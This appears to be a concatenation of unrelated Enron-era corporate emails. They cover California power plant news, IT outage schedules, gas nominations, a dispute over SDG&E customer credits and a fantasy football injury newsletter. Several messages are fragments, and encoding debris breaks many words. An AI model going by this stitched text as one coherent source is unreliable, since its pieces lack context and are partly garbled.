Energy Group may have recognized the need to become even more diversified.=
=20
The California market, despite its stringent plant siting requirements,=20
arguably offered an appropriate market for Constellation to become more=20
diversified. Given the state's environmental lobbying presence, it is=20
doubtful that a nuclear plant could have been approved in California.=20
Although natural gas is not a primary fuel source for Constellation as a=20
company, it is the preferred source for new power plants. Therefore, the Hi=
gh=20
Desert plant, given that it will be fired by natural gas, presumably stood =
a=20
greater chance of navigating through California's plant siting requirements=
=20
(than a coal or nuclear plant could have). In fact, in the announcement of=
=20
the plant, Constellation noted that, having received all federal, state and=
=20
local approvals, the High Desert plant "will be a good neighbor in the=20
community with no significant environmental impacts."=20

The announcement of Constellation's new plant could not come at a better ti=
me=20
for California, of course. Although the plant won't be operational until Ju=
ne=20
2003, the state can use the good publicity now. A new report from the=20
Cambridge Energy Research Associates (CERA) says that it is already too lat=
e=20
for the state to head off a serious summer shortage that could lead to at=
=20
least 20 hours of rolling blackouts. "It's too late for this summer,"=20
declared Lawrence J. Makovich, of CERA, referring to the state's desperate=
=20
efforts to ramp up power supplies for the short term. "The source of=20
California's far-reaching power crisis is a shortage. At least 5,000=20
megawatts of new generating facilities are required to restore balance to t=
he=20
state's grid." Instead, according to the report, demand will exceed supply =
by=20
3,000 MW, which will cause the state to be under an energy alert of some so=
rt=20
for at least 200 hours.=20

CERA's report came out on the heels of Calif. Gov. Gray Davis' pledge to ha=
ve=20
5,000 MW of new generating capacity available in California by July, more=
=20
than double the amount expected just a few months ago. Davis said the new=
=20
plants would provide enough electricity to ward off blackouts this summer,=
=20
which CERA obviously disputes. Davis announced a series of orders intended =
to=20
bring online 5,000 MW by July 2001, with an additional 5,000 MW by July=20
2002. =20

In any event, as California continues to struggle from a severe supply /=20
demand imbalance, the announcement of Constellation's new plant appears to =
be=20
good news for all the parties involved. Gov. Davis has pledged to support a=
n=20
expedited approval process for additional plants, so it will be interesting=
=20
to see which company is given approval to proceed with the next power plant=
=20
in the state. It will also be interesting to see, based on Constellation's=
=20
plant and others that may be built, whether or not the economics of buildin=
g=20
such plants in California will prove beneficial. Other power suppliers may=
=20
opt to merely enter into long-term sales agreements with the state, rather=
=20
than invest the resources that building a power plant would require.=20

An archive list of previous IssueAlerts is available at
www.ConsultRCI.com

Reach thousands of utility analysts and decision makers every day. Your=20
company can schedule a sponsorship of IssueAlert by contacting Nancy Spring=
 =20
via e-mail or calling (505)244-7613. Advertising opportunities are also=20
available on our website.=20
SCIENTECH is pleased to provide you with your free,  daily IssueAlert. Let =
us=20
know if we can help you with  in-depth analyses or any other SCIENTECH=20
information  products. If you would like to refer a colleague to receive ou=
r=20
free,  daily IssueAlerts, please reply to this email and include  their ful=
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name and email address or register directly on our site. =20

If you no longer wish to receive this daily email, send a message to=20
IssueAlert, and include the word "delete" in the subject line.=20
SCIENTECH's IssueAlerts(SM) are compiled based on the  independent analysis=
=20
of SCIENTECH consultants. The opinions expressed in  SCIENTECH's IssueAlert=
s=20
are not intended to predict financial performance  of companies discussed, =
or=20
to be the basis for investment decisions of any  kind. SCIENTECH's sole=20
purpose in publishing its IssueAlerts is to offer  an independent perspecti=
ve=20
regarding the key events occurring in the  energy industry, based on its=20
long-standing reputation as an expert on  energy issues. =20

Copyright 2001. SCIENTECH, Inc. All rights  reserved.

I would be happy to meet with him.

From: Rob Walls on 12/06/2000 06:41 PM
To: James Derrick/Corp/Enron@ENRON
cc:  

Subject: 

----- Forwarded by Rob Walls/NA/Enron on 12/06/2000 06:41 PM -----

	Christopher Allegaert <callegaert@abv.com>
	12/06/2000 01:30 PM
		 
		 To: rob.walls@enron.com
		 cc: JW1000mac@yahoo.com (Jim McCartney, Esq.)
		 Subject: 

Dear Rob:

   I am going to be in Houston on business next week from Wednesday on.  I
wondered if there might be a convenient time to stop in to say hello and if
possible take you up on your offer of an introduction to Jim Derrick.  I
have a series of meetings downtown over the three days.  Any one could
easily be moved.  

   Thanks for your help.

   Kindest regards.

                  Chris Allegaert
******* 
 Christopher Allegaert
Allegaert Berger & Vogel LLP
111 Broadway, 18th Floor
New York, NY 10006
T: (212) 571-0550
F: (212) 571-0555

******* 
This email may contain confidential and privileged material for the sole
use of the intended recipient. Any review or distribution by others is
strictly prohibited. If you are not the intended recipient please contact
the sender and delete all copies. 
*******

F O R

September 7, 2001 5:00pm through September 10, 2001 12:00am

NOTICE:	Long Distance Conversion to MCI for EB PBX	    		    		
Time:  Fri 9/7/2001 at  5:30:00 PM CT thru Fri 9/7/2001 at  6:00:00 PM CT
	Fri 9/7/2001 at  3:30:00 PM PT thru Fri 9/7/2001 at  4:00:00 PM PT
	Fri 9/7/2001 at 11:30:00 PM London thru Sat 9/8/2001 at  12:00:00 AM London
Environments Impacted:  All ECN Outbound Long Distance--- NO DISRUPTION OF SERVICE ANTICIPATED
	This change affects Enron Building outbound long distance only.  3AC change will be completed next week.  No service disruption is anticipated.  This only affects outbound long distance from the Enron Building.  Tie line services remain unchanged.  Dialing patterns remain the same:  9+1+A/C+7-digit number for domestic calls or 9+011+10-digit number for international calls.
Purpose: MCI is replacing AT&T as Enron's primary long distance carrier.  
Backout: Divert back to AT&T route pattern as first choice.
Contact(s): 	Cynthia Siniard    713-853-0558

NOTICE:	Voice Mail 30 Day Retention Change
EFFECTIVE: Monday 9-10-01 at 6:00pm
Technical Description  
Change Basic Class of Restriction for all Audixes to reflect new voice mail message retention time of 30 days. 

Environments Impacted
Employees who currently have messages older than 30 days in their mailbox will lose those messages once this change has been implemented.  If those messages or future messages must be saved, they will need to transcribe them or record them to a handheld recording device.  Once these messages and future messages have been deleted, they will not be retrievable. 
Contact(s): 	Kathy Bigelow 713-345-57242

SCHEDULED SYSTEM OUTAGES:  NA  

EES:      SEE ORIGINAL REPORT  
 
ENRON NORTH AMERICAN LANS:  	ALSO SEE ORIGINAL REPORT 	    		
Impact:  Traders            POSTPONED 
Time:  Sat 9/8/2001 at  12:00:00 AM CT thru Sat 9/8/2001 a  12:30:00 AM CT
	Fri 9/7/2001 at    10:00:00 PM PT thru Fri 9/7/2001 at  10:30:00 AM PT
	Sat 9/8/2001 at  6:00:00 AM London thru Sat 9/8/2001 at  6:30:00 AM London
Outage:  Upgrade TRD-CX11 & TRD-CX12
Environments Impacted:  Traders
Purpose: We need to add additional gig ports to support a new traders cluster, we have to upgrade the code on the switches to support the new gig blade
Backout: Load the old version of code, reboot
Contact(s): 	Vincent Fox                     713-853-5337	
		Christopher M Ducker    713-345-8241

Impact:  Traders          POSTPONED 
Time:  Sat 9/8/2001 at  12:30:00 AM CT thru Sat 9/8/2001 at  1:00:00 AM CT
	Fri 9/7/2001 at  10:30:00 PM PT thru Fri 9/7/2001 at  11:00:00 PM PT
	Sat 9/8/2001 at  6:30:00 AM London thru Sat 9/8/2001 at  7:00:00 AM London
Outage:  Upgrade Trader 1 and 2 switch and router code
Purpose: Bug in code is filling up logs
Backout: Replace new cards with old cards, reboot boxes.
Contact(s): 	Christopher M Ducker    713-345-8241
		Vincent Fox                     713-853-5337
 
Time:  Fri 9/7/2001 at  4:45:00 PM CT thru Fri 9/7/2001 at  5:15:00 PM CT
	Fri 9/7/2001 at  2:45:00 PM PT thru Fri 9/7/2001 at  3:15:00 PM PT
	Fri 9/7/2001 at  10:45:00 PM London thru Fri 9/7/2001 at  11:15:00 PM London
Outage:  Upgrading IOS on WAN Trader Router CR2
Environments Impacted:  Corp
Purpose: To utilize the NBAR feature to aid in "Code Red" traffic identification and mitigation.
Backout: 
Contact(s): 	Tomas Mendez    713-345-3250

Time:  Sun 9/9/2001 at  10:00:00 AM CT thru Sun 9/9/2001 at  10:30:00 AM CT
	Sun 9/9/2001 at    8:00:00 AM PT thru Sun 9/9/2001 at    8:30:00 AM PT
	Sun 9/9/2001 at  4:00:00 PM London thru Sun 9/9/2001 at  4:30:00 PM London
Outage:  Upgrading IOS on WAN Trader Router CR1
Backout: 
		    
MESSAGING:    ALSO SEE ORIGINAL REPORT   
Impact:  All mailbox servers(list in description)
Time:  Sat 9/8/2001 at  11:30:00 PM CT thru Sun 9/9/2001 at  1:30:00 AM CT
	Sat 9/8/2001 at    9:30:00 PM PT thru Sat 9/8/2001 at  11:30:00 PM PT
	Sun 9/9/2001 at  5:30:00 AM London thru Sun 9/9/2001 at  7:30:00 AM London
Outage:  All NA Exchange mailbox servers
Environments Impacted:  All NA Exchange mailbox users.
Purpose: To enable Outlook Access via Econnect VPN.
Backout: remove registry changes
Contact(s): 	David Lin    713-345-1619
		    		    		    		
Impact:  Nahou-mspfs01p 02p and 03p
Time:  Sat 9/8/2001 at  11:00:00 PM CT thru Sat 9/8/2001 at  11:30:00 PM CT
	Sat 9/8/2001 at    9:00:00 PM PT thru Sat 9/8/2001 at     9:30:00 PM PT
	Sun 9/9/2001 at  5:00:00 AM London thru Sun 9/9/2001 at  5:30:00 AM London
Outage:  Public Folder Servers
Environments Impacted:  All Exchange server users
Backout: remove Registry changes.
 
OTHER SYSTEMS:     ALSO SEE ORIGINAL REPORT 
Time:  Fri 9/7/2001 at  9:00:00 PM CT thru Fri 9/7/2001 at  11:00:00 PM CT
	Fri 9/7/2001 at  7:00:00 PM PT thru Fri 9/7/2001 at    9:00:00 PM PT
	Sat 9/8/2001 at  3:00:00 AM London thru Sat 9/8/2001 at  5:00:00 AM London
Outage:  Cluster6 Expansion
Environments Impacted:  Corp, User H: drives on Nahou-UV12, Nahou-UV13, Nahou-UV14, Nahou-UV15, and several of the folders on the O: drive.
Purpose: We must expand the disk space on Cluster6 in order to migrate the new users from EBS and EES to Corp, and also for our ever expanding Corp environment.
Backout: 
Contact(s): 	Frank Coles    (713)406-0470 
		    		    		    		
TELEPHONY: No Scheduled Outages

SCHEDULED SYSTEM OUTAGES: LONDON
Time:  Fri 9/7/2001 at  6:00:00 PM CT thru Sat 9/8/2001 at 9:00:00 PM CT
	Fri 9/7/2001 at  4:00:00 PM PT thru Sat 9/8/2001 at  7:00:00 PM PT
	Sat 9/8/2001 at  12:00:00 AM London thru Sun 9/9/2001 at  3:00:00 AM London
Outage:  Complete Powerdown of the London office
Purpose: Installation of a third generator at Enron House
Backout: Switch all equipment back on.
Contact(s): 	Tracy Pearson    830-34238 London Tie Line
 
----------------------------------------------------------------------------------------------------------------------------

Here are the 4 questions from Duke regarding the Lincoln site.
Ben

Kathy,

I have prepared  the Canadian draft for your review.   I hope to send same to 
you today, I am waiting on my credit department re credit terms.

Regards,

It is my understanding tha twelve LM 6000 turbines will go into E Next.  The 
ESA and City of Austin LM's are the only ones not making the trip.

Kay

Attached are summaries of two SoCalGas advice letters.? Some info here  on 
consolidated billing may be of interest to your gas marketers, but does not  
appear to be protest material.
?
Dan
 - 11-28-00 SoCalGas AL Summary Chart.doc

Kim, Jan, Suzanne, and Tori-
 
The total nomination for month of October 2001 is 17,029MMBtu per day.  This odd number is made up of the sum of the following:
 
1. 4,029MMBtu/day purchase from Engage @ Malin (net, after PG&ENW  losses4,135MMBtu/day @ Kingsgate);
2. 3,000MMBtu/day APEA gas;
3. 1,000MMBtu/day balance of year strip purchased on behalf of Azusa@ $7.71/MMBtu;
4. 2,000MMBtu/day undertwo separate fixed contracts of 1,000MMBtu/day each;
5. 500MMBtu/day March 2001 through Feb strip purchased @ $7.63;
6. 2,000MMBtu/day under two July - October separate fixed contracts of 1,000MMBtu/day each;
7. 2,000MMBtu/day under the latest July - Ocober fixed contract; and
8  2,500MMBtu/day under a Q3 contract @ $8.925/MMBtu that we had forgotten about earlier...
 
Losses on the PG & E line are unchanged from September 2001 at 2.57%.  We have not sold any of the APEA gas (3,000MMBtu/day) at this time.
 
We are still waiting (and waiting, and waiting) for, and fully expect, temperatures and thus generation to rise next month.  One steam unit (Broadway 3) is on line and a second one, Broadway 2, is off and on during the month.  During the last few days of September and the first week of October, we will have our third steam unit Broadway 1 online for testing.  Usage should be up during this time.
 
If you have any questions, please contact me.
 
Thanks.
 
-Steve
 
Pablo:
Thanks.  We really need to finalize everything by mid-week as the online 
folks are planning their roll-out at the end of this week.  Please do 
whatever you can to have something final for us in the nexy day or two as I 
cannot hold them off any lomger.  In the amentime, I will take a look at 
this.    

EB 3892

	"Pablo Perezalonso" <pperezalonso@rhm.com.mx>
	07/07/2000 08:52 PM
		 
		 To: carol.St.Clair@enron.com
		 cc: 
		 Subject: questionnaire on Internet trading on commodities.DOC

  Attached please find an initial draft of the questionaire. We are still 
working on it and we will send a revised draft next week.

Regards

Pablo Perezalonso Egu?a
Ritch, Heather y Mueller, S.C.
pperezalonso@rhm.com.mx
tel: (52) 5-2076533

 - questionnaire on Internet trading on commodities.DOC

Diann:  I don't see how we can go back to our residential customers and seek 
to recover these Rate Reduction Bond Credits since the utility has already 
paid them to the residentials and our contracts never said we were entitled 
to any such credits.  Do you all agree?  Marianne

Diann Huddleson
09/29/2000 03:35 PM
To: Marianne Castano/HOU/EES@EES
cc: Dennis Benevides/HOU/EES@EES, Jeff Dasovich/NA/Enron@Enron, Karen A 
Cordova/HOU/EES@EES 
Subject: Re: SDG&E Credits  

All,  this is currently an issue not only with the Annual Merger Savings 
Credit, but also the SDGE Rate Reduction Bond Credits.  SDGE recently 
refunded these credits to our customers by check.  We are currently in the 
process of collecting these credits from the commercial accounts.   But, do 
we recover these credits (amounting to $765,000) from the residential 
customers?

 Below is a description of the reason for this credit.

> This credit has been made possible due to a unique set of circumstances
> involving electric industry restructuring, which has proceeded in
> accordance with California State law (AB 1890).  AB 1890 required SDG&E
to
> lower electric rates by 10% for residential and small commercial
> customers, then froze rate levels for up to 4? years.  AB 1890 also
> allowed SDG&E to issue rate reduction bonds to finance the rate
reduction.
> In 1997, SDG&E issued rate reduction bonds in an amount adequate to
> provide a 10% rate reduction for 4? years.
>
> However, SDG&E was able to recover many costs related to the transition
to
> a competitive market 2
 years early -- by last July -- through the sale
of
> its two San Diego power plants at higher than expected prices and through
> numerous other actions.  That combination of factors and the benefits of
> the rate reduction bonds mean SDG&E is able to distribute about $390
> million to its customers.
>
> The bonds cannot be paid off early, so the current "trust transfer
amount"
> line item on the SDG&E bill, which pays for the bonds, will continue for
> the bond life.
>
> An important point to clarify is that the money being distributed does
not
> represent over-collections from prior years.  Customers have benefited
> from many of the changes brought about by electric industry
> These include the 10% electric rate reduction, the electric rate freeze
> and the monthly trust transfer amount credit.  The trust transfer amount
> is the charge that pays for the rate reduction bonds, has funded the
> benefits customers have already received and is funding this "lump sum
> trust transfer amount credit".
>

	Enron Energy Services
	
	From:  Marianne Castano                           09/28/2000 12:39 PM
	
To: Dennis Benevides/HOU/EES@EES
cc: Jeff Dasovich/NA/Enron@Enron, Karen A Cordova/HOU/EES@EES, Diann 
Huddleson/HOU/EES@EES 

Dennis:  Just wanted to bring this item to your attention.  We've researched 
the terms of our residential agreements and have noted that they are silent 
as to the issue of credits/refunds.  I've asked Jeff and Mike Day, our 
regulatory counsel in CA, for their input on whether we should refund these 
credits back to our residential customers.

 Notwithstanding  the fact that the language of the original decision 
allowing the credits does not address direct access customers, Jeff and Mike 
recommend, given the current climate in California, that we take action to 
refund these credits to our residential customers. 

 Just want to make sure you're "on board" with this before we direct CSC to 
refund the credit back to our residential accounts...Marianne

.  

	From:  Karen A Cordova                           09/21/2000 05:00 PM
	Phone No: 713.853.3150
  713.646.8860 - FAX No.
	
cc:  
Subject: SDG&E Credits

Diane Huddelston called Lori Pinder about an issue;  Here it is:

Due to the merger btw SDG&G & Sempra Energy (about a year or less ago), a 
savings was realized.  The CPUC said these savings must be passed on to 
customers 1 time per year, in September.  They are called Annual Merger 
Credits.

Pursuant to all commercial contracts, Enron is entitled to keep the savings 
(per Diane).  What about the residential customer accounts?

Enron keeps the savings or should the residential customer receive?

Who could handle this issue for Diane?

Thanks, KC

Hi Folks,

Barreling toward week 15 and the Fantasy Playoff here.?  Have a few quotes,=
=20
some weather insights and our updated Players in the  News.? Let's get at i=
t.

Best of luck this week.? I hope all the bounces go your  way.??=20

Joe

?

Quotes of the  Week

"But, again, I don't know anything other than when it's  fourth down, I pun=
t.=20
That's as much as I know as far as anything having to do  with anything."??=
=20
-- Pittsburgh Punter Josh Miller on  not understanding how the NFL could fi=
ne=20
Regan Upshaw so much for spitting on  him.

"Yeah, we stood because it was time to go out for  practice."?? One (wisely=
)=20
unnamed Washington Redskin player  who?offers a different spin on?owner Dan=
ny=20
Snyder's report that the  team gave new coach Terry Robiskie a "standing=20
ovation".

"The man is 28 years old. It would have been like voting for  my=20
grandfather."?? -- Oakland CB Charles Woodson on  why he didn't vote for=20
FSU's Chris Weinke for the Heisman.?=20

"If I wanted to change my desk, I'm going to call him and say  I want to=20
change my desk,"? Interim Redskin Coach Terry  Robiskie who's honest enough=
=20
to speak the truth.

''As long as there are Girl  Scouts, they're going to sell cookies. As long=
=20
as I'm playing football, I'm  going to cut. So there's no sense in crying=
=20
about it.''?? Tampa Bay  Guard Frank Middleton talking about a season endin=
g=20
cut block  he put on Bills player.on a block that put Buffalo linebacker on=
=20
the sidelines  for the remainder of the season.

///////////////////

Weather This Week.? Once again, we  check in with our Cheatsheets.net=20
Meteorologist, Mike McVay.? Mike's not  only a Meteorologist with WOWK - TV=
=20
but he's also a Fantasy Football  Fanatic.? What a combination.? Like I do=
=20
with my Physician friends  when I need an injury insight, we'll be calling =
on=20
Mike to give us some headsup  on the weather situations in a few notable=20
games this week.? Thanks  Mike!

SEATTLE @ DENVER:? Winter Storm Watch  for Sunday in Colorado, but I still=
=20
think the snows will hold off until at least  the 2nd half if not after the=
=20
game completely.? I'd feel comfortable  starting any player in this one at=
=20
this point.

(Joe's note:? Make sure to realize though that it'll  still be bitterly col=
d=20
with gusty winds likely.)

DETROIT @ GREEN  BAY:? The big weather factor in this one is not the snow,=
=20
but the  cold.? Snow flurries with temperatures in the 20s at kickoff that=
=20
will  likely fall into the teens by game's end.? The Packers (and their=20
crazed  "cheeseheads") don't seem to mind these weather conditions, but kee=
p=20
in mind  that Detroit plays in a dome.

CAROLINA @ KANSAS  CITY:? The rain, sleet and snow will not arrive in Kansa=
s=20
City  until late in the day on Sunday.? This is an early game and so weathe=
r=20
no  longer seems to be a concern.? However, falling thermometers and=20
barometers  are not good for sore bones and joints.? This could still be a=
=20
tough day  for Grbac whose still being bothered by his thumb.

Mike  McVay
StormTracker13
Meteorologist
WOWK-TV

//////////////////////

Now for this week's Updated Players in the News

Quarterbacks in the  News:

QB Jake Plummer (Ari) has sore ribs,  but expects to start this week. He=20
practiced in a reduced role on  Thursday.

*** Saturday Update QB Jake Plummer's (Ari)  chances of playing are looking=
=20
bleak?for Sunday's game.? His  ribs are still very sore and it'll be a=20
gametime decision on whether he can go.  Even if he does play, he's a huge=
=20
risk as one good shot could send him  out.? If he does sit, Dave Brown gets=
=20
the start.

QB Cade McNown (Chi) could probably  play this week if needed. He is not=20
expected to start. Shane Matthews again will get the call  behind center.

QB Scott Mitchell (Cin) starts for the  Bengals this week. Akili Smith will=
 =20
back him up.

QB Spergon Wynn (Cle) has a bone bruise  that may hold him out of the rest =
of=20
this year=01,s games. He is only listed as  questionable, but will probably=
 be=20
downgraded on Friday. Doug Pederson will start this week with  his sore rib=
s.

*** Saturday Update QB Spergon Wynn (Cle) is  out for the year and has been=
=20
placed on Injured Reserve.? I hope this  doesn't effect your team.

QB Randall Cunningham (Dal) appears as  questionable with a sore groin, but=
=20
he is expected to backup Troy Aikman this  week.

QB Brian Griese (Den) will miss another  game and may not be ready to play=
=20
the last game of the regular season as earlier  reported.

QB Charlie Batch (Det) practiced on  Wednesday with his sore ribs and is=20
expected to start this  week.

QB Mark Brunell (Jac) has a bruised  shoulder, but it isn=01,t bad enough t=
o=20
appear on the injury report. He starts this  week.

QB Drew Bledsoe (NE) is expected to  start with his injured thumb. He=20
practiced on Thursday.

QB John Friesz (NE) will be available  to play with his sore knee if needed=
.

QB Kordell Stewart (Pit) will start  despite a sore calf. He has been one o=
f=20
the hottest quarterbacks of  late.

QB Moses Moreno (SD) can play if  needed. He will backup starter Ryan  Leaf=
.

QB Brock Huard (Sea) is still bothered  by his bruised kidney. Jon Kitna =
=20
will start in his place.

QB Shaun King (TB) practiced on  Wednesday despite a sore groin. He is=20
expected to start.

QB Steve McNair (Ten) missed practice  Thursday and at best will be a=20
gametime decision. If Steve cannot go, Neil O=01,Donnell will start in his =
=20
place.

*** Saturday Update QB Steve McNair (Ten)  did some practice work Friday.?=
=20
It's still a gametime decision but  it's?looking more like he'll go Sunday.=
?=20
He's a tough bird.

QB Jeff George  (Was) starts over Brad  Johnson this week.

////////////////////////////////////

Running Backs in the  News:

RB Thomas Jones (Ari) is questionable  with a virus, but is expected to be =
ok=20
by gametime.

*** Saturday Update RB Thomas Jones (Ari)  practiced well late this week an=
d=20
looks to be good to go.

RB Michael Pittman (Ari) is  questionable with a sore toe, but expects to=
=20
start this week.

RB Sammy Morris (Buf) was able to  participate in a limited practice on=20
Wednesday. He is hopeful he can play on  Monday night. If he can go, he wil=
l=20
start. If he can=01,t go, look for Shawn Bryson to get the majority of  car=
ries.

RB William Floyd (Car) is out with  broken ribs.

RB Tshimanga Biakabutuka (Car) is  doubtful with his toe. He will likely be=
=20
deactivated this week. Brad Hoover again starts in his  place.

*** Saturday Update RB Tshimanga Biakabutuka  (Car) ?has been deactivated f=
or=20
this week.

RB Corey Dillon (Cin) missed practice  on Wednesday, but is not listed on t=
he=20
injury report. He is expected to play  Sunday.

RB Travis Prentice (Cle) is expected to  play with his sore shoulder. He=20
continues to split time with Jamel White.

RB Chris Warren (Dal) was released for  arguing with a coach and quickly=20
picked up by the Philadelphia Eagles. He is not  expected to make a big=20
contribution this week.

RB Michael Wiley (Dal) will backup Emmitt Smith now that Chris Warren has=
=20
been  released.

RB Terrell Davis (Den) is out again  this week.

RB Mike Anderson (Den) practiced on  Thursday with his sore knee and is=20
expected to start on  Sunday.

RB Dorsey Levens (GB) is out this week.  Ahman Green will again start in hi=
s =20
place.

*** Saturday Update RB Fred Taylor (Jac)  after some great games had me=20
beginning to like the guy. He falls back to my  prior opinion of him as he'=
s=20
now decided he needs to renege on the contract he  signed as he's not being=
=20
paid enough...? Save yourself the time if you want  to send a differing=20
opinion on this one.? Demanding new contracts when you  perform like you=20
promised you would is one of my pet peeves and you won't change  my mind.

RB Tony Richardson (KC) is the starting  tailback. Donnell Bennett will=20
block  for him as the fullback.

RB J.R. Redmond (NE) practiced on  Wednesday, but was not involved in any=
=20
contact drills. He will likely split time  with Kevin Faulk this  week.

RB Raymont Harris (NE) has signed with  the Patriots.

*** Saturday Update RB Patrick Pass (NE) has  been deactivated for this wee=
k.

*** Saturday Update RB Raymont Harris (NE)  spent time with the first unit=
=20
this week and may see significant  playing time.? I put absolutely nothing=
=20
past Bill Belichick. I refuse to be  surprised by anything he does.

RB Ricky Williams  (NO) is out with a broken fibula.=20

RB Terry Allen (NO) got the snaps in  practice on Wednesday and may=20
contribute more this week as Chad Morton and Jerald Moore are both listed a=
s =20
doubtful.=20

*** Saturday Update RB Terry Allen  (NO)?looks to?get the start Sunday with=
=20
Morton and Moore less  than 100%.

RB Joe Montgomery (NYG) appears on the  injury report as questionable with =
a=20
sore thigh. He isn=01,t likely to play with Ron Dayne and Tiki Barber both =
=20
healthy.

RB Richie Anderson (NYJ) is expected to  play with a sore finger.

RB Tyrone Wheatley  (Oak) has a broken finger on his left hand and is being=
=20
called  questionable.? Some are speculating the bad finger was behind the 2=
=20
fumbles  last week.

*** Saturday Update? RB Tyrone Wheatley  (Oak) is the subject of a lot of=
=20
back and forth info.? Some  reports have the finger as broken, some do not.=
?=20
Some have his finger  troubles as the reason for his fumbles last week, som=
e=20
don't. I take everything  form the Raider with a grain of salt.? If I owned=
=20
Wheatley, I'd probably  feel ok starting him this week.

RB Darnell Autry  (Phi) is banged up with a sore shoulder and calf, but he =
is=20
expected to  start.

RB Chris Warren was signed by the  Eagles.

*** Saturday Update RB Chris Warren  (Phi) was not one of the early=20
deactivations so he's holding out for  the chance he gets to suit up this=
=20
week and see the field.? He could be a  factor eventually, but starting him=
=20
this week is?a large gamble as you just  don't know how he'll be used.? Als=
o=20
keep in mind the Eagles are on their  bye next week.?=20

RB Jerome Bettis (Pit) missed practice  on Wednesday with a sore glute. He=
=20
expects to start this week.

RB Terrell Fletcher (SD) missed  practice on Wednesday with sore ribs, but =
is=20
expected to play this  week.

RB Rickey Watters (Sea) may see his  carries slighted this week as the team=
=20
starts to explore what they have with Shaun Alexander.=20

*** Saturday Update RB Ricky Watters (Sea)  is nursing a sore big toe.? He=
=20
hasn't practiced all week but still says  he'll be able to go Sunday.? Says=
=20
coach Mike Holmgren, ''I think he'll be  able to play,''?? ''I think he's=
=20
going to be OK.''??=20

RB Garrison Hearst (SF) is listed as  doubtful with a sore ankle. He is not=
=20
expected to play the rest of this  season.

*** Saturday Update? RB Charlie Garner  (SF) catches a break as Saints DT=
=20
Norman Hand looks to miss the  game.

RB Mike Alstott (TB) is out with a sore  knee. Warrick Dunn continues to ge=
t =20
additional looks in his absence.

RB Stephen Davis (Was) may be injured  with a sore arm, but he knows he is=
=20
likely to have a field day running against  the Cowboys. He will start this=
=20
week and have a lot of  opportunities.

RB Larry Centers (Was) will play  through his knee pain.

Wide Receivers in the  News:

WR David Boston (Ari) missed practice  on Wednesday with a sore hamstring. =
He=20
is not listed on the injury report though  and expects to play this week.

*** Saturday Update WR David Boston (Ari)  continued to miss practice this=
=20
week.? But I'm hearing very little about  it.? I'd think he's good to go bu=
t=20
I don't like the idea of him missing  that much time.

WR Jermaine Lewis (Bal) practiced  through the pain of sore ribs and will=
=20
likely play this week.=20

WR Isaac Byrd (Car) is expected to play  with his sore hamstring. He will b=
e=20
the team=01,s number 3 receiver behind Muhsin Muhammad and Donald Hayes.=20

WR Marcus Robinson (Chi) was placed on  injured reserve and is lost for the=
=20
season.

WR Peter Warrick (Cin) will get his  contact lenses on Thursday.=20

WR David Patten (Cle) is expected to  play with his sore shoulder.

WR Ed McCaffrey (Den) has a few  ailments, but nothing that will keep him o=
ff=20
the field this week. =20

WR Brian Stablein (Det) is not expected  to play this week with a sore knee=
.

WR Germane Crowell (Det) is expected to  play, but not start this week.=20
Herman  Moore and Johnnie Morton will  start for at least another week.

*** Saturday Update WR Germane Crowell (Det)  will see a minimum of 15 play=
s=20
this week according to coach Moeller.

WR Corey Bradford (GB) is out again  this week and may not play again this=
=20
year.=20

WR Antonio Freeman (GB) is expected to  play with his sore back. He practic=
ed=20
on Thursday.

WR EG Green (Ind) is questionable with  a sore knee. No decision yet has be=
en=20
made to whether he will play on Monday  night.

WR Leslie Shepherd (Mia) is not  expected to play this week. Tony  Martin a=
nd=20
Oronde Gadsden will  start.

*** Saturday Update WR Leslie Shepherd (Mia)  has been deactivated for this=
=20
week.

WR Troy Brown (NE) appears on the  injury report as questionable.

WR Jake Reed (NO) is out with a broken  fibula. Willie Jackson plays in his=
 =20
absence.=20

WR Ike Hilliard (NYG) practiced both  Wednesday and Thursday , but is still=
=20
questionable to start. He is having  difficulty breathing so even if he doe=
s=20
play he will likely be  limited.

*** Saturday Update WR Ike Hilliard (NYG)  looks to play this week and mayb=
e=20
even start.? At the least, he will be the  #3 WR behind Joe Jurevicius who'=
s=20
played well filling in for Hilliard.

WR Laveranues Coles (NYJ) is not  expected to play this week. Dedric  Ward=
=20

WR Wayne Chrebet (NYJ) is expected to  play with a bruised throat.

WR Courtney Hawkins (Pit) missed  practice on Wednesday with a sore knee an=
d=20
remains questionable for the weekend  game.

WR Hines Ward (Pit) is expected to play  with his sore ankle.

WR Jeff Graham (SD) missed Wednesday=01,s  practice and is listed as doubtf=
ul on=20
the injury report. If he cannot go, look  for Trevor Gaylor to start in his=
 =20
absence.

*** Saturday Update WR Jeff Graham (SD)  appears to have a 50 / 50 chance o=
f=20
playing this week after suffering a serious  mouth injury last week.

WR Terrell Owens (SF) delivered as  promised last week and now looks close =
to=20
100%. He does not appear on the injury  report this week. He will start.

*** Saturday Update WR Terrell Owens (SF)  went full bore in practice and=
=20
apparently paid the price Friday as he was unable  to practice with pain an=
d=20
swelling in the toe.? He'll likely contribute and  may even start, but thin=
gs=20
are not quite as optimistic as they were Thursday  evening.? Although they'=
re=20
better than last week.

WR/KR Tony Horne (StL) is out this  week.=20

WR Keyshawn Johnson (TB) practiced on  Thursday and will start on Sunday.

WR Albert Connell (Was) still has a  sore knee, but will start this week.=
=20
James Thrash will lineup in the other  spot with Irving Fryar moving to the=
 =20
#3 slot.

WR James Thrash (Was) is expected to  play with his sore thigh.=20

Tight Ends in the  News:

TE Terry Hardy (Ari) is questionable  with a sore quadricep. He did not=20
practice on Wednesday, but expects to practice  later in the week and play =
on=20
Sunday.

TE OJ Santiago (Cle) is not expected to  see much playing time with his new=
=20
team with a sore knee. He is listed as  questionable this week. The fact th=
at=20
he is playing for his third team this  season makes him look "suspect and=
=20
questionable" to me.

*** Saturday Update TE David LaFluer (Dal)  appears to be less than 100% as=
=20
he missed practice this week.=20

TE Desmond Clark (Den) practiced on  Thursday with a cast on his forearm. H=
e=20
is expected to play on  Sunday.

TE Anthony Becht (NYJ) is expected to  play with a sore neck.

TE Mark Bruener (Pit) is expected to  play through his aches and pains.

Place Kickers in the  News:

PKs Doug Pelfrey and Michael Husted worked out with the  Saints this week.

PK Jeff Wilkins (StL) remains the only  kicker with the team. John Hall, wh=
o =20
filled in during Wilkins injury, was released this  week.

 To unsubscribe from this group, send an email to:

David,

Please, call Shirley Crenshaw (my assistant),
extension 5-5290 to set it up.

Vince

David P Dupre
06/15/2000 05:18 PM
cc:  
Subject: Re: interest  

What time(s) are you available over the next few days?

Thanks
David
3-3528

06/15/2000 05:16 PM
To: David P Dupre/HOU/ECT@ECT

David,

Please, stop by to chat about it for a few minutes.

Vince

06/15/2000 11:57 AM
cc:  
